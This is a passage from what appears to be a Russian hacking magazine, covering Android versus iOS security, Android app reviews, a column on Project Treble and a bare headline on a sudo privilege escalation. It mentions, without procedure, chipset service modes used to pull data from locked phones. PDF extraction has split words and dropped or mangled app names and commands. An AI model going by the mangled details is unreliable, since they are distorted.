уви деть,  где  ты  был  и  что  делал  в  такое‐то  вре мя  такого‐то  чис ла  за  пос‐ 
ледние шесть лет. Что харак терно, Google зна ет не толь ко   ты был в тер‐ 
минах геог рафичес ких коор динат, но и   ты побывал. Гос тиница,
рес торан, боулинг, театр, парк — Google видит твои коор динаты и соот носит
их  с  мес тополо жени ем  дру гих  поль зовате лей  (а  их —  мил лиар ды).  Резуль‐ 
тат — ком пании извес тно все вплоть до того, сколь ко вре мени ты про сидел
за сто ликом в рес торане в ожи дании пер вого блю да.

где
в каком мес те

Ска жешь, я сгу щаю крас ки? Ничуточ ки. Мы уже писали о том, что собира ет
Google и как до этой информа ции доб рать ся.

Google зна ет о тебе боль ше тебя

Са мо собой разуме ется,  в Google есть ста тис тика запус ка и исполь зования
при ложе ний,  исто рия  бра узе ра  и  поис ковых  зап росов,  логины  и  пароли
Chrome, сло ва, которые вво дились с кла виату ры Gboard, голосо вые зап росы,
прос мотрен ные на YouTube ролики и мно гое, мно гое дру гое.

Да, слеж ку и сбор информа ции  ты можешь огра ничить, а  уже соб ранные
дан ные  —  уда лить,  но  раз нооб разие  этих  дан ных  таково,  что  толь ко  их
перечис ление зай мет нес коль ко стра ниц убо рис того тек ста. Более того, вре‐ 
мя от вре мени Google без пре дуп режде ния вклю чает сбор новых типов дан‐ 
ных  (яркий  при мер  —  син хро низа ция  информа ции  о  звон ках  и  SMS
на некото рых устрой ствах); как отклю чить их сбор и хра нение, не всег да ясно
даже спе циалис там. В двух сло вах: огра ничить сбор дан ных мож но, но гаран‐ 
тии того, что зап рещен сбор всех тво их дан ных, — никакой.

Лишь часть того, что собира ет Google

Боль шинс тво  телефо нов  с  Android  пос тавля ется  с  незак рытыми  режима ми
сер висно го дос тупа к памяти, которые изна чаль но соз давались для про шив ки
устрой ств в слу чае неис прав ности. Эти же режимы мож но исполь зовать и для
извле чения дан ных из устрой ства, даже если оно вык лючено или заб локиро‐ 
вано.  В  час тнос ти,  это  при суще  боль шинс тву  про цес соров  Qualcomm
(режимы  9006  и  9008),  прак тичес ки  всем  MediaTek,  Rockchip,  Allwinner,
Spreadtrum, некото рым устрой ствам на осно ве Samsung Exynos. Собс твен ный
низ коуров невый сер висный про токол есть в телефо нах LG, и вос поль зовать ся
им для извле чения дан ных — дело тех ники.

Ис поль зование  сер висно го  режима  для  кра жи  дан ных  не  оставля ет  сле‐ 
дов.  Защитить ся  от  кра жи  информа ции  через  сер висный  режим  доволь но
прос то:  дос таточ но  вклю чить шиф рование дан ных  (при  этом рекомен дует ся
Android 6.0 или выше, но даже в Android 5 шиф рование уже впол не надеж но).

Гра нуляр ный кон троль за раз решени ями при ложе ний в Android — боль ная
тема.  В  «чис том»  Android  (AOSP)  кон троль  за  исполь зовани ем  раз решений
появил ся  толь ко  с  выходом  вер сии  6.0.  В  сто рон них  про шив ках  он  был
и  рань ше,  но  работал  чрез вычай но  нес табиль но.  При  этом  кон троль  далек
от совер шенс тва: зап ретить при ложе нию работать в фоне штат ными средс‐ 
тва ми  невоз можно,  а  огра ниче ние  дос тупа  к  раз решению  дос тупа  к  мес‐ 
тополо жению при водит толь ко к тому, что при ложе ние будет опре делять мес‐ 
тополо жение устрой ства дру гими спо соба ми с помощью исполь зования раз‐ 
решений, гра нуляр ный кон троль которых невоз можен даже в све жих вер сиях
Android. Наконец, мно гие при ложе ния прос то не под держи вают гра нуляр ное
управле ние раз решени ями, и поль зователь по‐преж нему сог лаша ется с зап‐ 
росом на пре дос тавле ние целого пакета раз решений, часть из которых вов се
не безобид на.

С помощью кор поратив ных политик безопас ности мож но зап ретить поль‐ 
зовате лю некото рые (но, к сожале нию, далеко не все) спо собы обой ти встро‐ 
енные  в  сис тему  меры  безопас ности.  Нап ример,  мож но  зас тавить  его
исполь зовать PIN‐код, отклю чить Smart Lock, зас тавить исполь зовать встро‐ 
енное шиф рование. Еще мож но купить Android‐смар тфон BlackBerry; на них,
по  край ней  мере,  сво евре мен но  при ходят  пат чи  безопас ности  и  акти вен
режим  доверен ной  заг рузки.  Впро чем,  от  дей ствий  самого  поль зовате ля,
слеж ки  и  утеч ки  дан ных  в  обла ко фир менный  софт BlackBerry  не  защища ет
никак.

В  Android  прос то  не  сущес тву ет  какой‐то  общей  модели  безопас ности,
которая  мог ла  бы  обе зопа сить  устрой ство  и  дан ные  поль зовате ля  на  всех
уров нях. Мож но вклю чить KNOX, мож но выб рать телефон с доверен ной заг‐ 
рузкой…  но  все  это  не  помеша ет  самому  поль зовате лю  уста новить
какое‐нибудь  при ложе ние,  которое  вос поль зует ся  «осо бен ностя ми» Android
(нап ример,  Overlay  и  Accessibility)  для  авто мати чес кой  уста нов ки  опас ных
злов редов, и те, сно ва исполь зуя уяз вимос ти сис темы, попыта ются получить
root‐дос туп и про писать ся в сис темном раз деле.

Сто ит отме тить, что, хотя автор прав в том, смар тфон на какой ОС более уяз‐ 
вим  к  взло му,  сле дует  иметь  в  виду,  что  речь  имен но  о  смар тфо нах,  но  не
об  Android  как  опе раци онной  сис теме. Да,  Android  зас лужил  сла ву  дырявой
опе раци онки  и  рас садни ка  вирусов,  но  если  вду мать ся:  а  что  есть Android?
Это  то,  что  уста нов лено  на  смар тфо нах  LG  или  Samsung,  те  самые  силь но
модифи циро ван ные  опе раци онки,  которые  кажут ся  сов сем  не  похожи ми
на  «голый»  Android?  Это  про шив ки  менее  рас простра нен ных  брен дов,
которые  уста нав лива ются  на  смар тфо ны,  годами  не  получа ющие  обновле‐
ний? Или, может быть, это что‐то дру гое?

Тех ничес ки  ОС  Android  —  это  то,  что  Google  в  фор ме  исходни ков  вык‐ 
ладыва ет во все общий дос туп в рам ках про екта AOSP. Это тот самый чис тый
Android, который ком пания пре дус танав лива ет на смар тфо ны Nexus и, в слег‐ 
ка  изме нен ном  виде,  на  смар тфо ны Pixel.  Все  осталь ные  про шив ки,  силь но
и не очень силь но модифи циро ван ные,  в  тер минах open  source называ ются
фор ками.  По  сути  это  уже  неч то  дру гое,  но  все  это  тем  не  менее  при нято
называть общим име нем Android.

Бе зопас нее ли чис тый Android про шивок от про изво дите лей? Да, мно жес‐ 
тво  багов  было  най дено  имен но  в  изме нен ном  Android  от  про изво дите ля.
К  тому  же  в  чис том  Android  эти  баги  исправ ляют ся  нам ного  быс трее
и  обновле ния,  с  неболь шой  задер жкой,  получа ют  сра зу  все  юзе ры  Nexus
и  Pixel.  Общий  срок  под дер жки  этих  смар тфо нов  сос тавля ет  два  года
для круп ных обновле ний и еще год для обновле ний безопас ности.

Как пра виль но отме тил Олег, по обще му количес тву най ден ных кри тичес‐ 
ких уяз вимос тей Android оста ется позади iOS, при чем боль ше полови ны этих
багов находят вов се не в Android, а в зак рытых драй верах железа. Перечис‐ 
ленные  в  статье  проб лемы  смар тфо нов  вро де  того  же  сер висно го  режима
к  Android  отно шения  не  име ют,  это  проб лема  про изво дите ля  устрой ства.
Одна ко в  том же Nexus сер висный режим дос тупен — логич но, если учесть,
что это смар тфон для раз работ чиков.

Серь езная проб лема Android — это вов се не дырявость и не без гра мот‐ 
ная архи тек тура ОС. В кон це кон цов, даже вер сия Android 1.0 вклю чала в себя
такие  вещи,  как  пол ноцен ные  песоч ницы  для  при ложе ний,  сис тема  обме на
дан ными  меж ду  при ложе ниями  через  типизи рован ные  каналы  с  про вер кой
пол номочий, мно гоуров невая про вер ка легитим ности тех или иных зап росов
к дан ным или фун кци ям ОС и memory safe язык Java, нивели рующий 90% воз‐
можных уяз вимос тей. О более поз дних вер сиях с интегри рован ной сис темой
ман датно го  кон тро ля  дос тупа  SELinux,  песоч ницами  на  осно ве  seccomp,
ASLR,  механиз мом  доверен ной  заг рузки,  шиф ровани ем  и  целым  букетом
про чих тех нологий говорить вооб ще не сто ит.

Серь езная  проб лема  Android  —  это  та  самая  фраг мента ция,  бла года ря
которой Android’ом называ ется все, что было осно вано на AOSP, а по фак ту
уже  не  явля ющееся  Android’ом.  Ком пания  выпус кает  смар тфон  на  Android,
забива ет на его обновле ние, чем ста вит под угро зу поль зовате ля, — винов‐ 
ным  объ явля ют  Android.  Samsung  модифи циру ет  Android,  допус кая  ошиб ку
в реали зации локс кри на, — виноват Android. Китай цы пос тавля ют смар тфо ны
с незало чен ным заг рузчи ком — это Android дырявый.

Так же  не  сто ит  забывать  о  гораз до  боль ших,  в  срав нении  с  iOS,  воз‐ 
можнос тях сис темы. Все эти Accessibility, овер леи и дру гие фун кции, которые
автор пре под носит как уяз вимос ти, — это стан дар тная часть Android, которая
дос тупна сто рон ним при ложе ниям. Чем боль ше фун кци ональ нос ти пред лага‐ 
ет сис тема, тем боль ше воз можнос тей исполь зовать ее в гряз ных целях.

Срав нивать  iOS,  сис тему  с  силь но  обре зан ной  фун кци ональ ностью,
отсутс тви ем  воз можнос ти  ста вить  при ложе ния  из  сто рон них  источни ков
и зак рытой эко сис темой, с откры тым Android,  который дает  гораз до боль ше
воз можнос тей  и  дос тупен  для  сво бод ного  ска чива ния  и  модифи кации  кому
угод но,  некор рек тно.  Это  все  рав но  что  срав нивать  пол ноцен ную  ОС  типа
Windows и какую‐нибудь Chrome OS.

МОЖНО ЛИ СДЕЛАТЬ ANDROID ДЕЙСТВИТЕЛЬНО БЕЗОПАСНЫМ?
Ес ли  телефо ном  поль зует ся  ребенок,  бабуш ка  или  человек,  который  увле‐ 
кает ся чем угод но, толь ко не воп росами безопас ности мобиль ных опе раци‐ 
онных  сис тем,  —  нет.  В  их  руках  телефон  на  Android  никог да  не  будет
безопас ным, даже если это Samsung с акти виро ван ным KNOX или BlackBerry
с  пос ледним  пат чем  безопас ности.  При чина?  Слиш ком  мно го  злов редов
и  слиш ком боль шая для  сред него  поль зовате ля  сте пень  сво боды,  поз воля‐ 
ющая  убрать  «меша ющие»  средс тва  безопас ности,  отклю чить  шиф рование
на эта пе заг рузки, акти виро вать уста нов ку при ложе ний из сто рон них источни‐ 
ков  и  про делать  мас су  дру гих  глу пос тей,  которые  тебе  даже  труд но  вооб‐ 
разить.

Ес ли же устрой ство дать в руки спе циалис ту и устрой ство это — акту аль‐ 
ный флаг ман одно го из избран ных про изво дите лей, не пре неб рега ющих еже‐ 
месяч ными пат чами безопас ности, то при дол жной нас трой ке  (зап рет Smart
Lock,  шиф рование  с  обя затель ным  зап росом  пароля  для  даль нейшей  заг‐ 
рузки устрой ства, — не путать с PIN‐кодом раз бло киров ки! — исполь зование
адми нис тра тив ной  полити ки,  жес тко  зап реща ющей  уста нов ку  из  сто рон них
источни ков,  зап рет  овер леев  и  сер висов  Accessibility,  пос тоян ный  кон троль
за  тем,  какую информа цию мы раз реша ем о себе собирать и  кому имен но)
для обыч ного поль зовате ля впол не сой дет. Впро чем, чинов ники, пре зиден ты,
тер рорис ты и прес тупни ки все рав но не будут так рис ковать; их выбор до сих
пор — BlackBerry 10 или iOS.

Тра дици онно  пос ледний  параг раф —  про  обновле ния  и  пат чи  безопас‐ 
ности.  Спе цифи ка  Android  такова,  что  про изво дите ли  могут  обновлять,
а могут и не обновлять свои устрой ства до акту аль ных вер сий Android и пат‐ 
чей  безопас ности.  Най ден ные  уяз вимос ти  могут  исправ лять ся,  а  могут
не исправ лять ся  (в боль шинс тве слу чаев — не исправ ляют ся). Более‐менее
регуляр ные  обновле ния  быва ют  у  флаг манов  извес тных  про изво дите лей,
но даже в этом слу чае сро ки под дер жки замет но короче, чем у устрой ств про‐ 
изводс тва Apple или Microsoft. Телефо ны с Android по уров ню безопас ности
нель зя  ста вить  на  одну  сту пень  с  iOS  или  даже  Windows  10  Mobile.  Чем
дешев ле  устрой ство,  тем  хуже  у  него будут  обсто ять  дела  с безопас ностью
уже  через  нес коль ко  месяцев  пос ле  выпус ка.  Сов сем  дешевые  устрой ства
несут  допол нитель ные  рис ки,  свя зан ные  с  отсутс тви ем  обновле ний  (в  том
чис ле  исправ лений  кри тичес ких  уяз вимос тей),  физичес кими  уяз вимос тями
на уров не устрой ств и встро енны ми в про шив ки злов редны ми «бонуса ми».

ЗАКЛЮЧЕНИЕ
Ес ли  рас ста вить  сис темы  по  уров ню  безопас ности,  то  ряд  будет  выг лядеть
сле дующим обра зом: Apple  iOS  (iPhone SE, 6s/7), Windows 10 Mobile  (Lumia
950 и 950 XL), Android  (луч ше все го дела обсто ят  у све жих флаг манов Sam‐
sung, BlackBerry и дру гих круп ных про изво дите лей; хуже все го — у бюд жетных
моделей китай ских про изво дите лей, с пол ным спек тром решений меж ду эти‐ 
ми  край нос тями).  Что  из  это го  сто ит  брать?  Все  зависит  от  тво их  при ори‐ 
тетов.  Для  боль шинс тва  поль зовате лей  будет  впол не  дос таточ но  того
невысо кого  уров ня  безопас ности,  который  пред лага ет  Android,  —  разуме‐ 
ется, при усло вии, что у тебя уста нов лен PIN‐код и вклю чен дат чик отпе чат ков
паль цев  (но  толь ко  если  сто ит  Android  6.0  или  выше  и  толь ко  если  он  сер‐ 
тифици рован  Google);  если  нет  root  и  заб локиро ван  заг рузчик;  если  акти‐ 
виро вано пол нодис ковое шиф рование и вык лючены небезо пас ные спо собы
аутен тифика ции  Smart  Lock;  если…  Впро чем,  это  перечис ление  уже  тянет
на отдель ную статью.

В слу чае с Apple все нам ного про ще: све жие флаг маны под управле нием
све жих вер сий iOS безопас ны, но если ты оза бочен при ват ностью сво их дан‐ 
ных — отклю чи обла ко. Боль ше ничего делать не нуж но.

«Неуло вимые  Джо»  (Sailfish,  Tizen,  Ubuntu  Touch  и  про чая  экзо тика)
небезо пас ны до тех пор, пока не будет доказа но обратное. Про Tizen выводы
уже сде ланы, Sailfish — на оче реди.
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FOOVIEW, КНОПКА БЫСТРОГО ДОСТУПА КО ВСЕМУ
Пос ле  того  как  раз работ чик  популяр ней шего фай лового  менед жера  ES  File
Explorer про дал пра ва на свое детище сто рон ней ком пании, он занял ся раз‐ 
работ кой совер шенно нового при ложе ния. Вско ре на свет появил ся  ,
при чуд ливый  сим биоз  кноп ки  для  управле ния  смар тфо ном,  меню  быс тро го
запус ка,  перевод чика,  прог раммы  для  сня тия  скрин шотов,  бра узе ра  и фай‐ 
лового менед жера.

fooView

Ав тор позици они рует fooView как при ложе ние, дела ющее работу со смар‐ 
тфо ном  про ще,  но  в  сущ ности  это  прос то  кноп ка  быс тро го  дос тупа  к  раз‐ 
личным фун кци ям. Пос ле того как ты уста новишь при ложе ние и дашь ему все
необ ходимые пра ва, с одной из сто рон экра на (пра вой или левой, на выбор)
появит ся полуп розрач ный круг.

С помощью это го  кру га мож но делать огромное количес тво вещей. Нап‐ 
ример, слег ка потянув его вле во (или впра во, если круг с левой сто роны), ты
наж мешь  кноп ку  «Назад».  Про тяни  до  середи ны  экра на  —  и  наж мешь
«Домой». Если хочешь открыть меню перек лючения меж ду при ложе ниями —
тяни вниз, еще силь нее вниз — откро ется панель уве дом лений.

Даль ше —  боль ше.  FooView  поз воля ет  делать  скрин шоты  час тей  экра на
и копиро вать любой отоб ража емый на экра не текст. Для это го прос то вытяни
круг и оста нови дви жение, ког да знак плю са рядом с кру гом ста нет жел тым,
тяни, что бы обвести нуж ные эле мен ты рам кой. Пос ле это го откро ется диало‐ 
говое окно, в котором ты уви дишь ско пиро ван ный текст, а так же получен ную
кар тинку.

Ко пиру ем текст и дела ем скрин шот час ти экра на

Текст  мож но  ско пиро вать,  най ти  в  Гуг ле  и  даже  отдать  уста нов ленно му
Google  Translate  для  немед ленно го  перево да.  Кар тинку  мож но  сох ранить,
выпол нить поиск по кар тинкам в том же Гуг ле, отре дак тировать и даже соз‐ 
дать ани миро ван ный GIF. И вся эта фун кци ональ ность всег да под рукой.

FooView  так же  мож но  исполь зовать  для  быс тро го  перек лючения  меж ду
при ложе ниями.  Для  это го  необ ходимо  одну  секун ду  удер живать  круг.
На экра не появит ся меню выбора. С его же помощью мож но поменять мес‐ 
тополо жение  кру га  на  экра не,  сде лать  скрин шот  все го  экра на или  записать
скрин каст (в том чис ле час ти экра на).

Ме ню при ложе ний и рекор дер экра на

Но  и  это  еще  не  все:  в  fooView  есть  встро енный  пол ноцен ный  фай ловый
менед жер,  музыкаль ный  про игры ватель,  менед жер  при ложе ний,  фотога‐ 
лерея, FTP‐сер вер и даже игра. Все это дос тупно в отдель ном меню, которое
мож но  открыть,  потянув  круг  вверх.  По  боль шому  сче ту  это  даже  не  меню,
а перера ботан ный ES File Explorer.

Фай ловый менед жер и музыкаль ный про игры ватель

FooView до сих пор находит ся в ста дии активной раз работ ки, поэто му пока он
абсо лют но бес пла тен.

YOUTUBE MUSIC, ПРОСТОЙ СПОСОБ ВОСПРОИЗВЕДЕНИЯ YOU-
TUBE В ФОНОВОМ РЕЖИМЕ
В YouTube очень мно го музыки, как кли пов, так и с заг лушкой вмес то виде оря‐ 
да. Одна ко офи циаль ный кли ент и при ложе ния,  которые мож но най ти в Play
Store,  не  поз воля ют  слу шать  музыку  в  фоне  с  вык лючен ным  экра ном.
К счастью, есть ауди опле ер, лишен ный это го недос татка.

  —  весь ма  прос тое  при ложе ние,  единс твен ная  задача
которо го — поз волить тебе прос лушивать музыку с YouTube на манер обыч‐ 
ного пле ера или ска чать нуж ную ком позицию в фор мате MP3 или AAC.

YouTube  Music

Прос то уста нови и запус ти при ложе ние. На экра не появит ся окно поис ка,
вбей наз вание нуж ной ком позиции или ком пиляции. Откро ется пле ер. Далее
ты можешь вклю чить видео на пол ный экран (с воз можностью выб рать качес‐ 
тво), прос лушать трек без видео (икон ка плас тинки) или ска чать трек вмес те
с видео или толь ко ауди одо рож ку.

Ок но поис ка и про игры ватель

Пос ле  вклю чения  тре ка  в  панели  уве дом лений  появит ся  стан дар тное
для  любого  ауди опле ера  уве дом ление,  с  помощью  которо го  мож но  оста‐ 
новить  вос про изве дение  или  пос тавить  на  паузу.  Экран  во  вре мя  вос про‐ 
изве дения  мож но  вык лючить  или  про дол жать  занимать ся  дру гими  делами,
пока игра ет музыка.

Есть и недос татки. Во‐пер вых, нель зя сос тавлять плей‐лис ты, каж дую ком‐ 
позицию  при дет ся  вклю чать  вруч ную. Отчасти  эту  проб лему  мож но  решить,
слу шая  музыку  аль бомами  или  ком пиляци ями.  Во‐вто рых,  YouTube  Music
не  под держи вает  онлайн‐тран сля ции,  так  что  интернет‐радио  пос лушать
не получит ся.

SPEAKI, ПРИЛОЖЕНИЕ, ЧИТАЮЩЕЕ УВЕДОМЛЕНИЯ ВСЛУХ
Вы ходя на ули цу, ты надева ешь науш ники, вклю чаешь музыку и отправ ляешь‐ 
ся  на  работу.  По  пути  тебе  при ходит  уве дом ление.  Воз можно,  ничего  важ‐ 
ного, но луч ше про верить. Дос таешь смар тфон из кар мана, сма хива ешь инфу
об оче ред ном новом видео в YouTube, уби раешь смар тфон обратно и идешь
даль ше. При ходит еще одно уве дом ление, а потом еще. Зна комо? Если да, то
у  тебя  два  вари анта:  купить  за  200  дол ларов  умные  часы,  которые,  кро ме
как выводить уве дом ления, не уме ют ничего полез ного, или уста новить бес‐ 
плат ное при ложе ние Speaki.

 —  очень  прос тое  при ложе ние  с  единс твен ной фун кци ей:  зачиты‐ 
вать при шед шие уве дом ления голосом. Ког да на смар тфон при ходит оче ред‐ 
ное  пись мо,  сооб щение  или  что  угод но  еще,  Speaki  про сыпа ется  и,
с  помощью  голосо вого  движ ка,  зачиты вает  заголо вок  уве дом ления  и  его
содер жимое.

Speaki

Ис точни ки  уве дом лений,  а  точ нее при ложе ния,  их  генери рующие, мож но
выбирать  инди виду аль но.  Так  что  слу шать  информа цию  о  вос ста нов лении
жиз ней  в  игре  и  о  новин ках  интернет‐магази на  не  при дет ся,  толь ко  то,  что
нуж но.  Допол нитель но  мож но  нас тро ить,  куда  выводить  звук.  Само  собой
разуме ется,  основной  динамик  смар тфо на  луч ше  отклю чить  и  акти виро вать
голосо вые  уве дом ления  при  под клю чении  науш ников  или  Bluetooth‐гар‐ 
нитуры.  Так же  мож но  нас тро ить  пре фикс,  то  есть  то,  что  Speaki  будет
говорить перед самим уве дом лени ем.

Вы бира ем устрой ства вывода зву ка и при ложе ния

Speaki под держи вает и уве дом ления о звон ках, про гова ривая имя або нен та.
Что бы  оста новить  зачиты вание  уве дом ления,  мож но  исполь зовать  кноп ку
гар нитуры или прос то вклю чить экран.

REMOTE BOT FOR TELEGRAM, УПРАВЛЯЕМ СМАРТФОНОМ С
ПОМОЩЬЮ ТЕЛЕГРАМА
В мар кете мож но най ти мно жес тво при ложе ний для  уда лен ного  управле ния
смар тфо ном  и  его  поис ка.  Но  все  они  име ют  две  проб лемы:  тре бова ние
доверить ся  непонят ному  сер веру,  который  будет  хра нить  и  обра баты вать
информа цию с тво его смар тфо на, и необ ходимость исполь зовать не всег да
удоб ный веб‐интерфейс. Remote Bot for Telegram реша ет обе проб лемы.

  толь ко  называ ется  ботом.  На  самом  деле
это  впол не  обыч ное  при ложе ние  для  Android,  которое  получа ет  уда лен ные
коман ды  с  помощью  push‐уве дом лений,  сге нери рован ных  телег рам‐ботом.
При чем это не какой‐то еди ный бот, а твой пер сональ ный, который будет слу‐ 
шать ся толь ко тебя.

Remote  Bot  for  Telegram

Глав ное окно Remote Bot и нас трой ки

Сер вер  здесь  тоже  при сутс тву ет,  но,  по  заяв лению  авто ра,  он  все го  лишь
выпол няет роль дис петче ра сооб щений от бота к телефо ну и обратно. Верить
или нет этим сло вам — решать тебе, но сто ит иметь в виду, что так же исто‐ 
рию  отданных  команд  и  отве тов  бота  будет  хра нить  «Телег рам».  В  зашиф‐ 
рован ном виде, естес твен но.

Спи сок под держи ваемых команд очень обши рен. При ложе ние поз воля ет:
 — читать и отправ лять SMS;• /sms
 — совер шать телефон ные звон ки;• /call

 и   — прос матри вать исто рию звон ков и спи сок
кон тактов;

• /callhystory /contacts

,   — вклю чать/вык лючать Wi‐Fi и Bluetooth• /ZiIi /blXetooth
 — сни мать фото;• /photo
 — управлять пле ером• /player

...и мно гое, мно гое  дру гое,  вплоть  до  выпол нения  задач  Tasker  и  детек тора
дви жения.

Уп равля ем смар тфо ном

Все коман ды мож но отда вать с любого устрой ства,  где исполь зует ся тот же
акка унт, к которо му был под клю чен бот. По умол чанию Remote Bot пыта ется
соз дать  и  под клю чить  бота  самос тоятель но,  для  чего  спра шива ет  номер
телефо на и при шед ший в SMS или Telegram код авто риза ции. Но этот спо соб
может  не  сра ботать,  и  тог да  бота  при дет ся  соз давать  самому  с  помощью
@botfather. Но не сто ит пугать ся, все очень прос то.

В  осталь ном  это  отличное,  ста биль но  работа ющее  при ложе ние.  Единс‐ 
твен ный недос таток: огра ниче ние в десять вызовов каж дой коман ды в день.
Снять  его  мож но,  естес твен но,  с  помощью  денеж ки:  либо  один  дол лар
за  пожиз ненный  анлок,  либо  30  руб лей  в  месяц  (очень  стран ная  ценовая
полити ка, но при ятная).

https://play.google.com/store/apps/details?id=com.fooview.android.fooview
https://labs.xda-developers.com/store/app/com.halara.trap
https://play.google.com/store/apps/details?id=com.one.speakify
https://play.google.com/store/apps/details?id=com.alexandershtanko.androidtelegrambot&rdid=com.alexandershtanko.androidtelegrambot


КОЛОНКА ЕВГЕНИЯ ЗОБНИНА
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Не задол го до начала Google I/O раз работ чики Android анон‐ 
сирова ли ини циати ву под наз вани ем Treble. Ее суть сво дит ся
к тому, что бы раз делить Android на две час ти, которые мож но
будет обновлять незави симо друг от дру га и таким обра зом
облегчить  пор тирова ние  новых  вер сий  Android  на  уже
выпущен ные  смар тфо ны.  Поп робу ем  разоб рать ся,  что
это зна чит на деле и какую проб лему Google все же пыта ется
решить.

КАК БЫЛО РАНЬШЕ
Од нажды я уже писал о том, почему раз работ чики кас томных про шивок успе‐ 
вают  пор тировать  новую  вер сию  Android  на  смар тфо ны  быс трее,  чем  сами
ком пании — про изво дите ли  смар тфо нов.  Кро ме  пофигиз ма,  свой ствен ного
некото рым про изво дите лям, основных проб лем три:

внед рение  собс твен ных  модифи каций  в  Android  и  про хож дение  сер‐ 
тифика ции модифи циро ван ной ОС в Google тре бует вре мени;

•

об новле ние  опре делен ных  моделей  смар тфо на  может  быть  невыгод но
с точ ки зре ния биз неса;

•

но вая  вер сия  Android  тре бует  обновлен ные  драй веры,  раз работ кой
которых занима ются про изво дите ли чип сета и дру гих ком понен тов смар‐ 
тфо на.  Если  про изво дите ли  не  выпус кают  обновлен ные  драй веры,  ком‐ 
пания — про изво дитель смар тфо на не может пор тировать новую вер сию
ОС.

•

С пер вой проб лемой Google по понят ным при чинам осо бен но ничего сде лать
не  может.  Вто рую  проб лему  они  попыта лись  решить  с  помощью  security‐
апдей тов, которые хоть и не уско ряют обновле ние смар тфо на до новой вер‐ 
сии Android,  но  хотя бы  поз воля ют  про изво дите лям  залатать  дыры  в  ста рых
вер сиях Android, при ложив минимум уси лий.

Третья проб лема пред став ляет для нас наиболь ший инте рес. Дело в том,
что Android,  как и мно гие дру гие про дук ты Google, очень дол гое вре мя раз‐ 
вивал ся  в  режиме  веч ной беты. Это  зна чит,  что Android менял ся. Не  толь ко
и не столь ко в пла не интерфей са, сколь ко в пла не внут ренней архи тек туры.

В  Android  никог да  не  было  усто явше гося  обратно  сов мести мого
интерфей са меж ду  сис темой  и  драй верами. В  боль шинс тве  слу чаев  нель зя
было прос то взять новую вер сию Android и «посадить» ее на драй веры и ядро
Linux от ста рой вер сии. Поч ти всег да что‐нибудь да отва лива лось.

Тре бова лись  обновлен ные  драй веры,  раз работ кой  которых  занимал ся
про изво дитель железа, а вов се не про изво дитель смар тфо на. Поэто му, если
про изво дитель  чип сета,  камеры  или  Wi‐Fi‐адап тера  по  тем  или  иным  при‐ 
чинам перес тавал под держи вать ста рое железо (что про исхо дит очень час то,
а  в  слу чае  с  такими  ком пани ями,  как Mediatek, — пос тоян но),  пол ноцен ный
порт новой вер сии Android ста новил ся невоз можен.

Иног да,  прав да,  бывали  исклю чения,  ког да  опе раци онку  мож но  было
обно вить,  не  обновляя  драй веры  (нап ример,  в  обновле нии  Android  2.2 →
2.3  и  4.1 →  4.2  интерфейс  меж ду  железом  и  сис темой  поч ти  не  менял ся),
но  чаще  новая  вер сия  Android  тре бова ла  обновле ния  драй веров  и  проп‐ 
риетар ных  биб лиотек.  Наибо лее  яркий  при мер:  обновле ние  Android  2.3 →
Android 4.0, ког да Google переде лала полови ну сис темы. Так же мож но вспом‐ 
нить переход на Camera 2 API, Vulcan API, тре бова ние под дер жки модуля TEE
для хра нения клю чей шиф рования, аппа рат ную под дер жку шиф рования.

Соз датели  кас томных  про шивок,  конеч но,  иска ли  обходные  пути,  что бы
зас тавить новую вер сию Android работать на ста рых драй верах. В дело шли
любые при емы от прос того «тупо не работа ет, забей те» до раз личных прог‐ 
рам мных прос лоек, обес печива ющих работу на ста рых драй верах. Так, в кас‐ 
томных  про шив ках  для  Xiaomi  Redmi  1s  есть  прос лой ка,  которая  поз воля ет
исполь зовать камеру в Android 7.1.1, хотя драй веры для нее зас тря ли еще на
уров не вер сии 4.4.4.

Од нако  для  ком пании  —  про изво дите ля  смар тфо на  такой  под ход  неп‐ 
рием лем.  Устрой ство  с  выпол ненным  подоб ным  обра зом  пор том  может
прос то не прой ти сер тифика цию Google, а если нет сер тифика ции, магазин
при ложе ний  уста нав ливать  нель зя.  Кро ме  того,  такие  прос лой ки  не  обес‐ 
печива ют  новую  фун кци ональ ность,  которая  может  тре бовать ся  Android
для  кор рек тной  работы  (нап ример,  под дер жка  новой  вер сии  OpenGL,  воз‐ 
можнос ти  которой  Android  исполь зует  для  соз дания  новых  эффектов  ани‐ 
мации).

КАК БУДЕТ ТЕПЕРЬ
К  счастью,  Google  наконец‐то  решила  оста новить  эту  вак ханалию  и  стан‐ 
дарти зовать‐таки  прог рам мный  интерфейс  меж ду  драй верами  и  Android.
Это и есть ини циати ва  ,  и она будет воп лощена в жизнь  уже в Android
8.0 (Android O). Суть здесь очень прос та и уже дол жна быть понят на: для пор‐ 
тирова ния новой вер сии Android теперь надо будет все го лишь пор тировать
новую вер сию Android, и она кор рек тно зарабо тает на уже име ющих ся драй‐ 
верах и той вер сии ядра Linux, с которой смар тфон был выпущен на рынок.

Treble

Так было…

...а так будет

Но  это  еще  не  все. Google  заяв ляет,  что  уже  ведет  работу  с  пос тавщи ками
обо рудо вания,  что бы  вклю чить  час ти  зак рытых  драй веров  в  основную
кодовую базу Android, так что пор тировать Android будет еще про ще. А если
верить  ,  отве чающе му  за  гра фичес кую  под систе му  Android,  то
начиная с вер сии Android 8.0 поль зовате ли даже смо гут обновлять гра фичес‐ 
кие драй веры через Google Play!

Romain  Guy

ПОЧЕМУ ОНИ НЕ СДЕЛАЛИ ЭТОГО РАНЬШЕ?
Ско рее  все го,  потому,  что  сис тема  Android  толь ко  недав но  прев ратилась
в  опе раци онку,  спо соб ную  исполь зовать  воз можнос ти  железа  на  пол ную
катуш ку.  Нап ример,  Camera 2  API,  поз воля ющий  соз давать  про фес сиональ‐ 
ные  при ложе ния  для  фото‐  и  виде осъ емки,  появил ся  толь ко  в  Android  5.0.
Под дер жка  AAudio  API,  инс тру мен та  соз дания  про фес сиональ ных  при ложе‐ 
ний  для  раз работ ки  зву ка,  заяв лена  толь ко  в  Android O.  Vulkan  API  для  соз‐ 
дания высокоп роиз водитель ных 3D‐при ложе ний появил ся в Android 7.0.

Ес ли  бы  Google  реали зова ла  прос лой ку  Treble  в  более  ран них  вер сиях,
она  бы  собс твен норуч но  затор мозила  раз витие  Android,  так  как  новые  воз‐ 
можнос ти прос то нель зя было бы исполь зовать на уста рев ших драй верах.

mailto:zobnin@glc.ru
https://android-developers.googleblog.com/2017/05/here-comes-treble-modular-base-for.html
https://plus.google.com/+RomainGuy


ПОВЫШАЕМ ПРИВИЛЕГИИ ДО
СУПЕРПОЛЬЗОВАТЕЛЯ ЧЕРЕЗ УЯЗВИМОСТЬ
В SUDO
